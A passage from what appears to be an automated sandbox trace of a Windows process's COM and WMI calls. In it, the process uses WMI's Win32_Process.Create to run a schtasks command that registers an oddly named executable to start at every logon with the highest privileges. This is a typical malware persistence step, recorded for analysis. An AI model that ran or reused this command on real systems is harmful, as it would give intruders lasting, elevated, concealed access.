[6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f740) returned 0x0 [0157.170] WbemDefPath:IUnknown:Release (This=0x1bb8b6e0) returned 0x0 [0157.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f740) returned 0x0 [0157.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.170] WbemDefPath:IUnknown:AddRef (This=0x1bc3f740) returned 0x3 [0157.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb8b660) returned 0x0 [0157.170] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.170] WbemDefPath:IUnknown:Release (This=0x1bb8b660) returned 0x3 [0157.171] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.171] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.171] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x2 [0157.171] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x1 [0157.171] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.171] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f740) returned 0x0 [0157.171] WbemDefPath:IUnknown:AddRef (This=0x1bc3f740) returned 0x3 [0157.171] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x2 [0157.171] WbemDefPath:IWbemPath:SetText (This=0x1bc3f740, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f800, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f740, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f740, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f740, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0157.171] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f800) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f740, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0157.171] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f800, uIndex=0x0, pszName="root") returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0157.171] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f800, uIndex=0x1, pszName="cimv2") returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f740, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f740, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f800, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f800, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0157.171] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f800, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f800, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0157.172] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0157.172] IWbemServices:GetObject (in: This=0x1bc64c50, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb7010, ppCallResult=0x0) returned 0x0 [0157.176] IWbemClassObject:GetMethod (in: This=0x1bbb7010, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb7380, ppOutSignature=0x1bb7e690*=0x1bbb76f0) returned 0x0 [0157.176] IWbemClassObject:SpawnInstance (in: This=0x1bbb7380, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbd4af0) returned 0x0 [0157.176] IWbemClassObject:Get (in: This=0x1bbd4af0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8698*=0, plFlavor=0x28c869c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8698*=8, plFlavor=0x28c869c*=32) returned 0x0 [0157.177] IWbemClassObject:Get (in: This=0x1bbd4af0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8698*=8, plFlavor=0x28c869c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8698*=8, plFlavor=0x28c869c*=32) returned 0x0 [0157.177] IWbemClassObject:Put (This=0x1bbd4af0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0157.177] IWbemClassObject:Get (in: This=0x1bbd4af0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8728*=0, plFlavor=0x28c872c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8728*=13, plFlavor=0x28c872c*=32) returned 0x0 [0157.177] IWbemClassObject:Get (in: This=0x1bbd4af0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8728*=13, plFlavor=0x28c872c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8728*=13, plFlavor=0x28c872c*=32) returned 0x0 [0157.177] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb6930) returned 0x0 [0157.177] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0157.177] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0157.181] IUnknown:AddRef (This=0x1bbb6930) returned 0x3 [0157.181] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0157.181] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0157.181] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb6938) returned 0x0 [0157.181] IMarshal:GetUnmarshalClass (in: This=0x1bbb6938, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0157.181] IUnknown:Release (This=0x1bbb6938) returned 0x3 [0157.181] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0157.181] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0157.181] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0157.181] IUnknown:Release (This=0x1bbb6930) returned 0x2 [0157.181] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0157.181] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0157.181] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0157.182] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0157.182] IUnknown:QueryInterface (in: This=0x1bbb6930, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0157.182] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0157.182] IUnknown:AddRef (This=0x1bbb6930) returned 0x3 [0157.182] IWbemClassObject:Put (This=0x1bbd4af0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb6930, varVal2=0x0), Type=0) returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fbc0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0157.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0157.183] IWbemServices:ExecMethod (in: This=0x1bc64c50, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbd4af0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd4da0, ppCallResult=0x0) returned 0x0 [0157.376] IWbemClassObject:Get (in: This=0x1bbd4da0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8a40*=0, plFlavor=0x28c8a44*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb5c, varVal2=0x0), pType=0x28c8a40*=19, plFlavor=0x28c8a44*=0) returned 0x0 [0157.376] IWbemClassObject:Get (in: This=0x1bbd4da0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8a40*=19, plFlavor=0x28c8a44*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb5c, varVal2=0x0), pType=0x28c8a40*=19, plFlavor=0x28c8a44*=0) returned 0x0 [0157.377] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0157.378] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0157.378] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0157.378] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.379] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb8b440) returned 0x0 [0157.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b440, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0157.380] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b440, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f5c0) returned 0x0 [0157.380] WbemDefPath:IUnknown:Release (This=0x1bb8b440) returned 0x0 [0157.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f5c0) returned 0x0 [0157.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0157.381] WbemDefPath:IUnknown:AddRef (This=0x1bc3f5c0) returned 0x3 [0157.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0157.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0157.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb8b360) returned 0x0 [0157.381] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b360, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.381] WbemDefPath:IUnknown:Release (This=0x1bb8b360) returned 0x3 [0157.381] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0157.381] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0157.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0157.381] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x2 [0157.381] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x1 [0157.381] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0157.381] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0157.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f5c0) returned 0x0 [0157.381] WbemDefPath:IUnknown:AddRef (This=0x1bc3f5c0) returned 0x3 [0157.381] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x2 [0157.382] WbemDefPath:IWbemPath:SetText (This=0x1bc3f5c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0157.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0157.382] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: 